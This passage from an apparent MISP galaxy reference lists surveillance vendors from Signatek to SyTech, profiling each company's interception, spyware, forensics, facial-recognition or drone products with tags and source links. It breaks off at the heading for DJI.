https://www.thehindu.com/news/national/the-governments-listening-to-us/article2678501.ece
https://www.intelligenceonline.com/surveillance—interception/2021/05/20/indian-interceptions-mogul-anant-bindal-behind-stratign-in-dubai,109667560-evg
https://sundayguardianlive.com/news/defence-technology-supplier-blacklisted-earlier-back-business
https://www.militaryaerospace.com/directory/communications-and-peripherals/communications-equipment-military-telecommunications/company/14060983/shoghi-communications

Signatek

Signatek is a Russian company that provides SORM (System for Operative Investigative Activities) equipment, which is used for state surveillance and interception of communications.

The company has supplied this technology to Kyrgyzstan, enabling the government to monitor and control communications within its borders. SORM systems are part of Russia's broader strategy of exporting surveillance technologies to neighboring countries, often aligning with authoritarian practices of information control. It markets SORM systems under the brand name "Visir ("Визирь).

The tag is: *misp-galaxy:surveillance-vendor="Signatek"*

Table 17986. Table References

Links
https://thegeopolitics.com/cooperation-or-competition-china-and-russias-surveillance-models-in-central-asia/
https://www.wired.com/2012/12/russias-hand/
https://www.opensanctions.org/entities/NK-TahwN9sk7tWeAq4oEnYMM7/
https://ctga.web.ox.ac.uk/files/theworldwidewebofchineseandrussianinformationcontrolspdf
https://go.recordedfuture.com/hubfs/reports/ta-ru-2025-0107.pdf

Silicon Forensics

Silicon Forensics provides digital forensics and surveillance tools used by law enforcement, military, and enterprise security teams to extract and analyze data from digital devices. Their products include tools like Hancom MD-LIVE, which enables rapid data acquisition from

smartphones. They also distribute Tableau hardware for write-blocked data acquisition. Additionally, Silicon Forensics supplies password recovery and decryption tools, chip-off and JTAG extraction systems, and cloud forensics kits. These tools are used to bypass device locks, recover deleted content, extract data from encrypted sources, and monitor communication platforms.

The tag is: *misp-galaxy:surveillance-vendor="Silicon Forensics"*

Table 17987. Table References

Links
https://www.griffith.edu.au/data/assets/pdf_file/0028/1774531/Selth-Post-coup-intelligence-in-Myanmar.pdf
https://siliconforensics.com/forensic-software/

SimilarWeb

Founded in Tel Aviv in 2007, SimilarWeb acquired the popular browser extension Stylish in 2017 and added spyware that collected the browsing history and personal information of its users.

The tag is: *misp-galaxy:surveillance-vendor="SimilarWeb"*

Table 17988. Table References

Links
https://web.archive.org/web/20230215161230/https://www.alphr.com/security/1009689/stylish-spyware-google-chrome-extension/
https://www.wsj.com/articles/BL-DGB-35596
https://robertheaton.com/2018/07/02/stylish-browser-extension-steals-your-internet-history/

Sinovatio

Sinovatio is a Chinese company that develops and deploys various surveillance technologies. The company creates high-tech solutions for video surveillance, facial recognition, and AI-powered monitoring systems, including incorporating AI to enhance the capabilities of traditional CCTV networks.

The tag is: *misp-galaxy:surveillance-vendor="Sinovatio"*

Table 17989. Table References

Links
https://c5is.com/chinas-sinovatio-surveillance-from-the-heartland-of-hacking/
https://journals.sagepub.com/doi/pdf/10.1177/0306422019876445

SIO

SIO is an Italian spyware company that distributes malicious Android apps designed to steal private user data. The spyware, known as "Spyrtacus," was used to target individuals by masquerading as legitimate applications, like WhatsApp.

The tag is: *misp-galaxy:surveillance-vendor="SIO"*

Table 17990. Table References

Links
https://techcrunch.com/2025/02/13/spyware-maker-caught-distributing-malicious-android-apps-for-years/
https://www.techradar.com/pro/security/government-linked-italian-spyware-maker-caught-distributing-malicious-android-apps
https://www.siospa.it/#what

Sirchie

Sirchie is a developer of surveillance products used by law enforcement and government agencies in over 140 countries. The company's surveillance gear is often sold through direct contracts with police departments, border control units, and military agencies, particularly in the U.S., Latin America, the Middle East, and parts of Europe and Asia. The company's international reach and export of surveillance technologies are also supported by U.S. government agencies, including through grants and law enforcement aid programs.

Its products include surveillance vehicles, portable video surveillance systems, hidden audio and video recording devices, license plate recognition systems, mobile device forensics, and GPS-based tracking and monitoring tools.

The tag is: *misp-galaxy:surveillance-vendor="Sirchie"*

Table 17991. Table References

Links
https://www.sirchie.com/digital-forensics/mobile-device-forensics.html
https://www.griffith.edu.au/data/assets/pdf_file/0028/1774531/Selth-Post-coup-intelligence-in-Myanmar.pdf
https://www.officer.com/investigations/company/10030242/sirchie
https://www.usaspending.gov/search?hash=13d141d90af78b168e05af9d133f4c94

Skopenow

Skopenow is a surveillance and investigative tool that aggregates publicly available data from

social media platforms, websites, and other online sources to create detailed profiles of individuals. It is designed to assist law enforcement, private investigators, and corporate security teams in identifying, tracking, and analyzing individuals' online activities. The platform automates the process of collecting and organizing information, such as social media posts, photos, connections, and public records, with the primary purpose of profiling and monitoring targets. Its AI capabilities allow it to identify patterns, connections, and relationships between individuals, as well as extract relevant insights from unstructured data like images, videos, and text.

Skopenow is commonly used by police departments.

The tag is: *misp-galaxy:surveillance-vendor="Skopenow"*

Table 17992. Table References

Links
https://www.aclu.org/news/privacy-technology/the-federal-trade-commission-must-investigate-meta-and-x-for-complicity-with-government-surveillance
https://www.brennancenter.org/our-work/research-reports/third-party-vendors-social-media-monitoring-tools-law-enforcement
https://dot.la/lapd-surveillance-2659276004.html
https://theintercept.com/2024/04/02/surveillance-tech-new-york-state-police/
https://atlasofsurveillance.org/search?vendor=Skopenow

Skydio

Skydio, founded in 2014, is a U.S. drone manufacturer and developer of autonomous flight technology. The company develops and distributes in AI-powered drones equipped with autonomous capabilities and computer vision systems. Since launching their R1 drone in 2018, Skydio has served over 1,200 enterprise customers including every branch of the U.S. military.

Skydio became the first U.S. drone company to reach a $1 billion valuation, generating over $100 million in annual revenue in 2023, with 30% coming from software solutions. The company has a local office in Israel and sells its drones to the Israeli military. The Israeli company DefenSync is its authorized partner in Israel.

Based on a report by Theia Chatelle, the Yale Police Department (YPD) utilized Skydio drones as part of their surveillance program targeting pro-Palestine student protesters.

According to a Wired investigation, a Skydio X10 drone equipped with multiple high-resolution cameras, thermal imaging, powerful zoom capabilities, and onboard AI was detected monitoring pro-Palestine protesters at the Democratic National Convention in Chicago, with the same drone later being spotted above the Israeli consulate during subsequent protests.

In October 2025, The Washington Post revealed that Skydio provided the U.S. Immigration and Customs Enforcement (ICE) remote-controlled drones, reportedly used to film protesters and monitor public demonstrations.

The tag is: *misp-galaxy:surveillance-vendor="Skydio"*

Table 17993. Table References

Links
https://jewishcurrents.org/inside-yale-police-department-war-student-protesters-palestine
https://techcrunch.com/2024/11/15/drone-manufacturer-skydio-raises-170-million-extension-round/
https://www.israeldefense.co.il/en/node/62403
https://www.politico.com/news/2023/11/25/israel-hamas-war-ai-weapons-00128550
https://www.wired.com/story/dnc-hidden-signal-hunt/
https://www.wired.com/story/new-autonomous-drone-for-cops-can-track-you-in-the-dark/
https://www.skydio.com/newsroom
https://techcrunch.com/2024/11/08/ben-horowitzs-cozy-relationship-with-the-las-vegas-police-department-aided-a16z-portfolio-company-skydio/
https://falconviz.com/blog_falconviz_skydio.html
https://signalcleveland.org/flights-vs-rights-the-debate-over-cleveland-police-using-drones-to-monitor-crowds/
https://www.washingtonpost.com/technology/2025/10/17/ice-surveillance-immigrants-antifa/

Skypearl

Skypearl Ltd, a discreet Israeli start-up co-founded by Sergey Vichik, a former Google X engineer, and Ori Gonen, a former Israeli military officer, is a developer of stratospheric Intelligence and surveillance platforms. Their products include spy balloons for intelligence operations.

These semi-autonomous balloons, part of the classified Tzafon Aerostat programme, were deployed since 2023 over Gaza. Equipped with technologies such as gyroscopic stabilization, AI-driven altitude control, SIGINT sensors, Lidar, and multispectral imaging systems, the balloons silently monitor and surveil populations in real time.

Skypearl has minimal public presence, with its headquarters registered in Herzliya and no official website or trade show appearances.

The tag is: *misp-galaxy:surveillance-vendor="Skypearl"*

Table 17994. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2025/06/03/idf-deploying-top-secret-spy-balloon-programme-over-gaza%2C110460351-eve
https://en.checkid.co.il/company/SKYPEARL+LTD-VBo4YWD-516666997

Smart Communications

Smart Communications, a Florida-based company, provides surveillance and communication tools

to over 150 prisons and jails across more than 25 U.S. states. Its MailGuard product digitizes postal mail sent to incarcerated individuals by scanning letters at remote facilities and uploading them as PDFs for inmates to view on tablets.

The company also offers a surveillance system called Smart Tracker, which monitors not only the communications of incarcerated individuals but also those of the public who correspond with them. This system collects a wide range of data, including home addresses, IP addresses, email addresses, GPS locations, device information, and any linked accounts. By requiring users to create accounts through its "Smart Jail Mail" portal, the company ties this data to specific individuals, creating a detailed profile of those who communicate with prisoners. They also provide a searchable database of all messages sent and received by prisoners, along with identifying information about senders.

The tag is: *misp-galaxy:surveillance-vendor="Smart Communications"*

Table 17995. Table References

Links
https://scalawagmagazine.org/2022/09/free-tablets-north-carolina-prisons/
https://jacobin.com/2025/03/prison-tech-communications-empire-lawsuits
https://www.vice.com/en/article/prison-mail-surveillance-company-keeps-tabs-on-those-on-the-outside-too/
https://www.workers.org/2021/06/56791/
https://www.thenation.com/article/society/carceral-system-smart-watch-surveillance/

Smartware

Smartware was a Russian surveillance technology provider that developed the Random Information Collection System (KRIT), a tool used by Russia's Ministry of Internal Affairs to closely monitor online discussions, news coverage, and social media activity.

The tag is: *misp-galaxy:surveillance-vendor="Smartware"*

Table 17996. Table References

Links
https://sputnikglobe.com/20060519/48410946.html
https://www.opendemocracy.net/en/odr/russian-state-and-surveillance-technology/
https://foreignpolicy.com/2013/04/05/russias-digital-underground/

Snaptrends

Snaptrends was a social media monitoring and surveillance platform that developed ways to analyze geotagged social media posts and conversations in real time. The platform was marketed to law enforcement agencies, schools, and other organizations, enabling users to track keywords, hashtags, and geographic areas of interest.

Law enforcement agencies across the United States utilized Snaptrends to track targets and monitor public events. For example, the software was reportedly used to increase arrest rates during specific operations. Snaptrends was also used to monitor students' social media activity, often in collaboration with schools.

The company promoted social media analytics tools to authorities in Azerbaijan, Bahrain, Malaysia, Turkey, and other countries known to suppress online speech, according to confidential company documents and interviews with current and former employees. Beginning in 2013, Snaptrends pursued business in Saudi Arabia, entering a $500,000 agreement with a company linked to the royal family to sell its technology. The company also engaged with the Saudi Ministry of Interior and intelligence agencies. It has also done business with the United Arab Emirates.

In 2014, Brandon Burris, Snaptrends co-founder and chief technology officer at the time, flew to Hong Kong as part of a $300,000 deal with a local holding company Faith Concord. According to corporate filings in China, Faith Concord owns BaoLiDa, which markets its ability to monitor citizens' activities on the internet to the Chinese government.

Snaptrends faced criticism for targeting activists or disproportionately affecting marginalized communities. These concerns led platforms like Twitter to sever ties with Snaptrends, cutting off access to their data in 2016. Snaptrends ceased operations later that year, laying off its staff and shutting down quietly.

The tag is: *misp-galaxy:surveillance-vendor="Snaptrends"*

Table 17997. Table References

Links
https://www.washingtonpost.com/news/the-switch/wp/2016/04/22/schools-are-helping-police-spy-on-kids-social-media-activity/
https://www.lpm.org/news/2016-11-04/louisville-police-have-quietly-built-a-massive-online-monitoring-operation
https://reason.com/2016/04/25/schools-are-using-software-to-spy-on-stu/
https://www.dailydot.com/irl/twitter-snaptrends-geofeedia-social-media-monitoring-facebook/
https://theamericangenius.com/snaptrends-quietly-lays-off-entire-staff-ceases-operations/
https://www.bizjournals.com/austin/blog/techflash/2015/05/snap-trends-raises-portion-of-2m-funding.html
https://www.bloomberg.com/news/articles/2016-10-27/twitter-s-firehose-of-tweets-is-incredibly-valuable-and-just-as-dangerous

Social Sentinel

Social Sentinel, now known as Navigate360, is a technology monitoring company that tracks students' social media behavior, claiming to identify risks of self-harm or violence on campuses and alert administrators. Reports indicate that the service has been used to monitor student protests and scrutinize individuals who have lodged complaints against university administrations.

According to the Dallas Morning News, campus police used it to surveil student protests. Their investigation also uncovered that the company promoted its services to various universities as a way to manage and prevent protests. The documents suggest the company is expanding its scope, offering tools for monitoring student emails on university platforms.

The tag is: *misp-galaxy:surveillance-vendor="Social Sentinel"*

Table 17998. Table References

Links
https://interactives.dallasnews.com/2022/social-sentinel/
https://www.thecrimson.com/article/2022/10/18/editorial-surveillance-social-sentinel/
https://www.statepress.com/article/2022/09/asu-used-social-sentinel-surveillance-tech-2017-to-2020
https://dailybruin.com/2022/10/09/ucla-administrators-monitor-students-social-media-activity
https://www.thedp.com/article/2022/09/ai-monitoring-student-protests-social-sentinel
https://www.thecollegefix.com/ut-dallas-monitored-student-speech-with-technology-linked-to-preventing-protests-records-show/
https://navigate360.com/blog/social-sentinel-joins-navigate360/

SOSi

SOS International LLC (SOSi) is a company that helps government agencies track down people. In October 2025, ICE contracted SOSi for $7 million to perform "skip tracing services", essentially locating individuals who are difficult to find. The company employs image recognition technology that can match faces and license plates to databases, which includes facial recognition capabilities.

SOSi operates internationally. The company is headquartered in Reston, Virginia, but maintains offices and customer engagements in at least 40 countries worldwide.

The tag is: *misp-galaxy:surveillance-vendor="SOSi"*

Table 17999. Table References

Links
https://truthout.org/articles/ice-just-spent-millions-on-a-social-media-surveillance-ai-program/
https://www.businesswire.com/news/home/20250820163208/en/SOSi-Hires-Former-HSI-Executive-Andre-Watson-to-Bolster-Law-Enforcement-Partnerships
https://www.sosi.com/what-we-do/intelligence/intelligence-surveillance-reconnaissance-isr/
https://www.prnewswire.com/news-releases/sosi-awarded-contract-to-deliver-intelligence-solutions-to-us-army-europe-and-africa-302024893.html

SoundThinking

SoundThinking was formerly known as ShotSpotter, Inc until it changed its corporate name in 2023. ShotSpotter, which retained its name as a product after the rebrand, relies on a network of

acoustic sensors that monitor urban environments, effectively turning public spaces into zones of constant surveillance. The accuracy of ShotSpotter has been called into question, with reports indicating that the system can misidentify sounds, leading to unnecessary and dangerous police deployments as well as over-policing in various communities. ShotSpotter is linked to more than 100 law enforcement agencies in the U.S.

Another one of their products, CrimeTracer, functions as a police database and search engine, repackaging and sharing vast amounts of data across a range of law enforcement agencies. The company further consolidated its position in the surveillance industry after acquiring Geolitica, the firm behind PredPol, a predictive policing technology criticized for exacerbating racial inequalities by directing police to already heavily surveilled communities. This merger builds on SoundThinking's previous acquisition of HunchLab in 2018 to provide AI-driven analysis and "predictive policing."

In addition to police departments, SoundThinking also has contracts with the U.S. Department of Defense in the military market and also maintains a partnership with Israeli weapons manufacturer Airobotics.

The tag is: *misp-galaxy:surveillance-vendor="SoundThinking"*

Table 18000. Table References

Links
https://www.eff.org/deeplinks/2023/10/cities-should-act-now-ban-predictive-policingand-stop-using-shotspotter-too
https://themarkup.org/prediction-bias/2023/10/02/predictive-policing-software-terrible-at-predicting-crimes
https://www.aclu-wi.org/en/news/shotspotter-leak-shows-surveillance-tech-used-overpolice-black-and-brown-communities
https://progressive.org/op-eds/we-need-protection-from-harmful-surveillance-technologies-ruizesparza-20240227/
https://www.wired.com/story/soundthinking-geolitica-acquisition-predictive-policing/
https://www.stopspying.org/latest-news/2024/6/21/stop-welcomes-audit-showing-failures-of-nypd-shotspotter
https://www.soundthinking.com/press-releases/shotspotter-changes-corporate-name-to-soundthinking-and-launches-safetysmart-platform-for-safer-neighborhoods/
https://ir.soundthinking.com/news-events/press-releases/detail/7/shotspotter-raises-12m-in-series-c-funding
https://www.prnewswire.com/il/news-releases/airobotics-and-shotspotter-partner-to-offer-integrated-gunshot-detection-and-real-time-aerial-video-to-help-save-lives-and-deter-crime-in-israel-301446362.html

Specialnie Technologie

Specialnie Technologie, also known as Special Technologies, is a St. Petersburg-based company and

a SORM provider recommended by Russia's Federal Security Service (FSB). Their systems gained prominence during the 2014 Sochi Olympics, where it was extensively deployed as part of the surveillance operations coordinated by the FSB.

The tag is: *misp-galaxy:surveillance-vendor="Specialnie Technologie"*

Table 18001. Table References

Links
https://privacyinternational.org/blog/1296/lawful-interception-russian-approach
https://www.intelligenceonline.com/corporate-intelligence/2013/12/18/sochi-olympics-pose-security-challenge,108000072-art
https://meduza.io/en/feature/2019/08/07/russia-s-new-anti-terrorism-restrictions-on-telecoms-lead-to-skyrocketing-profits-for-interception-technology-companies

Speck Systems

Speck Systems Limited is an Indian company that develops aerial surveillance systems and defense technologies. The company provides advanced tools for mapping, remote sensing, and geographic information systems (GIS) primarily for defense and law enforcement applications.

The company has been involved in collaborations with international partners, including Israel Aerospace Industries (IAI), to develop and supply unmanned aerial vehicles (UAVs).

In 2025, it was acquired by Bondada Engineering.

The tag is: *misp-galaxy:surveillance-vendor="Speck Systems"*

Table 18002. Table References

Links
https://cis-india.org/internet-governance/blog/table-2.pdf
https://www.business-standard.com/markets/capital-market-news/bondada-engineering-completes-acquisition-of-speck-systems-125032900361_1.html
https://indianaviationnews.net/airshow/2007/02/foreign-suppliers-of-spy-drones-eye.html
https://www.volza.com/company-profile/speck-systems-ltd-17743152/export/buyers/

SpeechPro

SpeechPro, a Russian company specializing in speech recognition, facial recognition and voice biometrics, has its origins linked to a secretive Soviet technologies unit that operated under the KGB. According to Wired, the company's roots can be traced back to the Sharashka Marfino, a special prison for engineers and scientists during the Stalin era. In this facility, individuals plucked from various labor camps were coerced into developing technologies, including voice identification systems used for monitoring calls to foreign embassies in Moscow. According to its website, it worked with Saudi's Ministry of Interior to install an audio forensic lab in the Kingdom. The country operates in Russia under the name Speech Technology Center (STC.) In 2019, Sberbank, the

state-controlled financial powerhouse, finalized the acquisition of a 51% stake in STC. Additionally, Digital Horizon, a venture capital and business incubator firm with offices in Moscow and Tel Aviv, also secured a stake in STC.

The tag is: *misp-galaxy:surveillance-vendor="SpeechPro"*

Table 18003. Table References

Links
https://www.wired.com/2013/05/russian-surveillance-technologies/
https://www.retailbankerinternational.com/news/speech-technology-center/
https://web.archive.org/web/20210114143200/https://agentura.ru/english/projects/Project_ID/justbusiness/

Spire Solutions

Spire Solutions is a distributor of Israeli surveillance and interception technologies in the United Arab Emirates. It's one of the primary distributors for XM Cyber, led by former Mossad chief Tamir Pardo and whose partnerships include Rafael Advanced Defense Systems, an Israeli defense technology company behind sophisticated surveillance systems. The company also distributes technology from the Israeli firms Check Point Software Technologies Ltd and CyberArk Software Inc. Spire Solutions actively markets defense and intelligence tools from Germany's Rola Security Solutions.

In addition, Spire has been working with Russian-Singaporean firm Group-IB, Britain's Digital Shadows and US company ThreatConnect.

The tag is: *misp-galaxy:surveillance-vendor="Spire Solutions"*

Table 18004. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2022/04/14/riyadh-uses-spire-solutions-deal-to-attract-fresh-cyber-education-capacity,109767987-art
https://gulfbusiness.com/spire-solutions-to-support-saudis-hack-underpin-kingdoms-cybersecurity-endeavour/
https://www.intelligenceonline.com/surveillance—interception/2020/12/10/rola-pitches-cyber-tools-to-uae-thanks-to-spire-solutions
https://channelpostmea.com/2022/09/27/cpx-holding-spire-solutions-collaborate/

Spireon

Spireon is a provider of vehicle intelligence solutions, and has been providing location and telematics data to U.S. immigration enforcement agencies, including Immigration and Customs Enforcement (ICE) and Customs and Border Protection (CBP). These agencies have utilized data from Spireon's GPS tracking systems to monitor vehicle movements. In February 2022, Solera

Holdings, a global provider of vehicle lifecycle and fleet management software, announced its acquisition of Spireon.

The tag is: *misp-galaxy:surveillance-vendor="Spireon"*

Table 18005. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2021/04/01/these-companies-track-millions-of-cars-immigration-and-border-police-have-been-grabbing-their-data/
https://gizmodo.com/ice-is-reportedly-using-onstar-location-data-to-track-s-1846598616
https://www.solera.com/blog/2022/02/01/solera-to-acquire-leading-vehicle-intelligence-company-spireon/

Staqu

Staqu Technologies, an Indian AI startup, provides facial recognition technology to various government agencies in India. Its tools are used by law enforcement in multiple states, including Uttar Pradesh. The company has developed Crime GPT, an advanced AI-powered platform designed to assist law enforcement agencies. Crime GPT integrates generative AI capabilities with tools like facial recognition, voice-based search, and biometric analysis. It can process and analyze digitized records, including data from CCTV feeds, images, and audio inputs.

Trinetra 2.0, launched in collaboration with the Uttar Pradesh Police, incorporates Crime GPT to enhance policing capabilities, to provide real-time AI-assisted insights for intelligence operations. Staqu's technology is also deployed in prisons.

Additionally, Staqu has implemented other AI-driven surveillance products, such as its JARVIS platform, which is being used by the Gurugram Police for vehicle number plate recognition. This system utilizes existing CCTV cameras to automatically scan and verify number plates against official RTO data.

The tag is: *misp-galaxy:surveillance-vendor="Staqu"*

Table 18006. Table References

Links
https://indianexpress.com/article/technology/artificial-intelligence/crime-gpt-helps-police-staqu-atul-rai-9281697/
https://cxotoday.com/press-release/staqu-collaborates-with-up-police-to-launch-ai-powered-trinetra-2-0-featuring-new-crime-gpt-feature/
https://www.financialexpress.com/life/technology-how-indian-research-firm-staqu-is-using-ai-to-help-police-identify-criminals-exclusive-3202862/
https://www.businessinsider.in/business/startups/news/staqu-launches-jarvis-an-artificial-intelligence-video-analytics-platform-for-india-prisons/articleshow/71955239.cms

https://www.business-standard.com/companies/start-ups/staqu-unveils-ai-tool-in-collaboration-with-up-police-to-nab-criminals-124031501056_1.html
https://www.pc-tablet.co.in/gurugram-police-enhances-city-safety-with-staqus-ai-powered-number-plate-recognition/45699/

Stellar Technologies

Stellar Technologies is a developer of surveillance and artificial intelligence tools. One of its primary products is NesherAI, a facial recognition tool capable of identifying individuals even when they are wearing masks. This tool has been utilized by private groups and organizations to identify participants in protests, specifically pro-Palestine activists, students, and faculty. It has been employed to assist in reporting foreign students and activists to U.S agencies such as ICE, leading to visa revocations and deportations.

The company's other tools include CyberBird, claiming to offer "revolutionary surveillance."

The tag is: *misp-galaxy:surveillance-vendor="Stellar Technologies"*

Table 18007. Table References

Links
https://stellartecs.com/#projects
https://thecradle.co/articles/anti-genocide-activists-exposed-by-pro-israel-groups-using-facial-recognition-tech
https://apnews.com/article/trump-foreign-students-campus-gaza-protests-deportation-9e2d4abc1c158454da1f68c01062c9ef

Stratign

Stratign offers IMSI Catcher systems designed to collect basic identities (IMSI, IMEI) of 2G, 3G, and 4G mobile phones within their coverage area. The company's IMSI Catcher systems are available in various configurations, including standalone, backpack, vehicle-mounted, and drone-mounted versions. Their features include real-time monitoring, target location tracking, and the ability to manage cellular communications effectively. The company also offers facial recognition systems.

Stratign primarily acts as a distributor, rebranding technologies from other companies and sometimes incorporating them into deals without the manufacturers' knowledge. The company is reportedly owned by Indian businessman Anant Bindal.

The tag is: *misp-galaxy:surveillance-vendor="Stratign"*

Table 18008. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2021/05/20/indian-interceptions-mogul-anant-bindal-behind-stratign-in-dubai,109667560-evg
https://www.army-technology.com/contractors/camouflage/stratign/

https://www.intelligenceonline.com/international-dealmaking/2022/05/09/india-s-fallen-signal-intelligence-king-hawks-turkish-drones-to-dubai,109783247-art

Sunartek Labs

Sunartek Labs, a Singapore-based surveillance technology firm founded in 2018, is a developer of intelligence products. The company, officially owned by Sumant Bindal, a former employee of Indian cyber-intelligence firm Shoghi, shares close ties with Stratign, a UAE-based defence technology provider led by Anant Bindal, the former CEO of Shoghi. Both companies offer overlapping solutions, including interception systems for phone and satellite communications, IMSI-Catchers, and advanced tools for OSINT, dark web investigations, and facial recognition.

According to the company's official website, they serve clientele across Asia, Africa, and the Middle East.

The tag is: *misp-galaxy:surveillance-vendor="Sunartek Labs"*

Table 18009. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2022/10/10/with-sunartek-the-fallen-king-of-indian-technical-intelligence-takes-aim-at-the-singaporean-market,109832922-art
https://www.asmag.com/suppliers/productcontent.aspx?co=sunarteklabs&id=36059
https://sunartek.com/location-finder-using-imsi-catcher/

SuperCom

SuperCom is an Israeli company that develops electronic monitoring and digital identity technologies. Its core product, the PureSecurity Suite, provides tools for public monitoring, including GPS tracking, home detention compliance, and individualized case management.

SuperCom's surveillance tools have been highlighted for their role in militarizing campus police forces in the U.S., where they are reportedly used to monitor and suppress student protests.

The tag is: *misp-galaxy:surveillance-vendor="SuperCom"*

Table 18010. Table References

Links
https://truthout.org/articles/campus-police-are-using-israeli-spy-tech-to-crack-down-on-student-protest/
https://www.prnewswire.com/news-releases/supercom-achieves-record-revenue-record-ebitda-record-net-income-and-3-66-non-gaap-eps-for-full-year-2024—302439703.html
https://www.thefastmode.com/technology-solutions/38854-supercom-secures-two-public-safety-contracts-in-kentucky
https://investigate.afsc.org/company/supercom

Support King

Support King, founded by Scott Zuckerman and headquartered in Puerto Rico, built a small but notorious catalog of stalkerware apps that secretly harvested victims' photos, messages and location data. These products include SpyFone, the Android/iOS spy tool marketed directly by Support King until a 2021 FTC order forced it offline after a massive data breach, OneClickMonitor, and SpyTrac, a phone-monitoring app that surfaced in 2022.

SpyTrac's leaked server data tied its freelance developers and infrastructure back to Support King, suggesting the company was trying to evade the FTC ban. The 2021 FTC decision permanently barred Support King and Zuckerman from "offering, selling or promoting" any surveillance software because they repeatedly failed to secure user data. Zuckerman is now petitioning the agency to lift that ban so he can re-enter the surveillance market.

The tag is: *misp-galaxy:surveillance-vendor="Support King"*

Table 18011. Table References

Links
https://techcrunch.com/2025/07/21/serial-spyware-founder-scott-zuckerman-wants-the-ftc-to-unban-him-from-the-surveillance-industry/
https://techcrunch.com/2022/12/17/support-king-ftc-spytrac/
https://techcrunch.com/2023/02/03/new-york-stalkerware-notify-victims/
https://www.ftc.gov/legal-library/browse/cases-proceedings/192-3003-support-king-llc-spyfonecom-matter
https://www.vice.com/en/article/spyware-company-spyfone-terabytes-data-exposed-online-leak/

Susteen

Susteen is a developer of mobile device forensic tools (MDFTs), which has enabled wider surveillance in U.S. schools. Originally designed for law enforcement and military applications, Susteen's tools, such as the Secure View system, allow users to bypass encryption and extract sensitive data from smartphones, including messages, photos, and app information. An investigation by Gizmodo revealed from public records that schools have quietly purchased these tools from several companies, including Susteen, with some districts spending thousands of dollars on MDFTs.

The tag is: *misp-galaxy:surveillance-vendor="Susteen"*

Table 18012. Table References

Links
https://gizmodo.com/u-s-schools-are-buying-phone-hacking-tech-that-the-fbi-1845862393
https://www.inverse.com/input/culture/schools-are-using-law-enforcement-grade-phone-hacking-tech-on-students
https://www.upturn.org/work/mass-extraction/

Syborg

Syborg is a German-based provider of intelligence solutions, specifically data mining, surveillance, and lawful interception technologies. Its capabilities include Wi-Fi interception, enabling the collection, decoding, and analysis of network traffic, and telecommunications interception systems that monitor and analyze voice and data communications.

The company was acquired by the Israeli surveillance firm Verint in 2000.

The tag is: *misp-galaxy:surveillance-vendor="Syborg"*

Table 18013. Table References

Links
https://www.burojansen.nl/pdf/ISSWorldDubai2007brochure.pdf
https://www.romania-insider.com/romanian-police-buy-mobile-phone-tracking-device-to-trace-locations-of-wanted-persons
https://netzpolitik.org/2014/syborg-informationssysteme-lausch-systeme-von-der-saar-fuer-die-welt/
https://www.verint.com/our-company/legal-documents/global-privacy-notice/privacy-policy-subsidiaries/
https://www.swissinfo.ch/eng/swiss-politics/verint-to-supply-new-swiss-spying-system/37740006
https://verintsystems.gcs-web.com/static-files/631a379a-b939-49cb-a590-b64cdc1a25cf

Synergy Telematics

Synergy Telematics Pvt. Ltd, AKA Synergy, an India-based company that develops AI-powered surveillance technologies. Synergy's AI-supported surveillance systems were adopted at large-scale events like the Kumbh Mela for realtime crowd monitoring. The company collaborates closely with police agencies in India.

The tag is: *misp-galaxy:surveillance-vendor="Synergy Telematics"*

Table 18014. Table References

Links
https://telecomtalk.info/echelon-edge-ai-crowd-management-system-mahakumbh2025/991759/
https://timesofindia.indiatimes.com/city/chandigarh/mohali-gears-up-to-keep-crime-at-bay-with-ai-powered-traffic-mgmt-system/articleshow/118216311.cms
http://stmpl.in/security-surveillance.php

Synesis

Synesis, a Belarusian technology firm, has gained notoriety for its role in the development and deployment of facial recognition systems used by Russian authorities to monitor and suppress

dissent. Its flagship product, the Kipod platform, has been instrumental in tracking political activists and protesters, particularly in the wake of Russia's invasion of Ukraine. The system has been integrated into Moscow's extensive surveillance network, which utilizes advanced algorithms to identify individuals in real-time, often leading to preemptive detentions of those critical of the government.

Despite sanctions by the U.S, EU and the UK, reports indicate that Synesis continues to operate with support from technology belonging to major U.S firms, like Nvidia and Intel, which power the performance and efficiency of its algorithms. Synesis has been able to access U.S. technology through various channels, including third-party distributors. These components enable Synesis to process large volumes of data quickly and accurately, facilitating real-time facial recognition and identification.

The tag is: *misp-galaxy:surveillance-vendor="Synesis"*

Table 18015. Table References

Links
https://www.reuters.com/investigates/special-report/ukraine-crisis-russia-detentions/
https://www.biometricupdate.com/202103/police-facial-recognition-use-in-belarus-greece-myanmar-raises-rights-data-privacy-concerns
https://euroradio.fm/en/synesis-linked-aleksin-and-presidential-administration
https://www.ft.com/content/b60c332e-4f99-11e7-bfb8-997009366969

SysTools

SysTools is a provider of digital forensic technologies. They also offer training programs tailored primarily for law enforcement agencies. Their email forensics tools like MailXaminer supports over 80 email clients. The company also develops workplace monitoring tools.

The tag is: *misp-galaxy:surveillance-vendor="SysTools"*

Table 18016. Table References

Links
https://www.systoolsgroup.com/email-forensics.html
https://www.systoolsgroup.com/updates/workplace-monitoring-and-surveillance-tool/
https://www.systoolsgroup.com/digital-forensics.html
https://www.openpr.com/news/3554717/9th-international-police-expo-2024-in-delhi-india-with-systools
https://systools.ca/about-us.html
https://www.griffith.edu.au/data/assets/pdf_file/0028/1774531/Selth-Post-coup-intelligence-in-Myanmar.pdf

SyTech

SyTech (Сайтек) is a Russian private IT contractor known for working with Russian intelligence and military agencies, including the FSB (Federal Security Service). The company gained international attention in 2019 when it was hacked by a group called 0v1ru$, which exposed internal documents detailing its involvement in secretive surveillance projects. Some of the leaked projects include Nautilus-S, aimed at de-anonymizing users of the Tor network by collecting and analyzing their data, Mentor, designed for monitoring and analyzing social media platforms, and Hope, a project dedicated to isolating the Russian internet (Runet) from the global internet.

The tag is: *misp-galaxy:surveillance-vendor="SyTech"*

Table 18017. Table References

Links
https://www.bbc.com/news/technology-49071225
https://www.bbc.com/russian/features-49050982
https://social.cyware.com/news/hackers-breach-russian-fsb-contractor-and-expose-secret-projects-54450521
https://cert.europa.eu/publications/threat-intelligence/threat-memo-190730-1/pdf
https://www.zdnet.com/article/hackers-breach-fsb-contractor-expose-tor-deanonymization-project/#ftag=CAD-00-10aag7e
https://www.opendemocracy.net/en/odr/russian-state-and-surveillance-technology/

SZ DJI

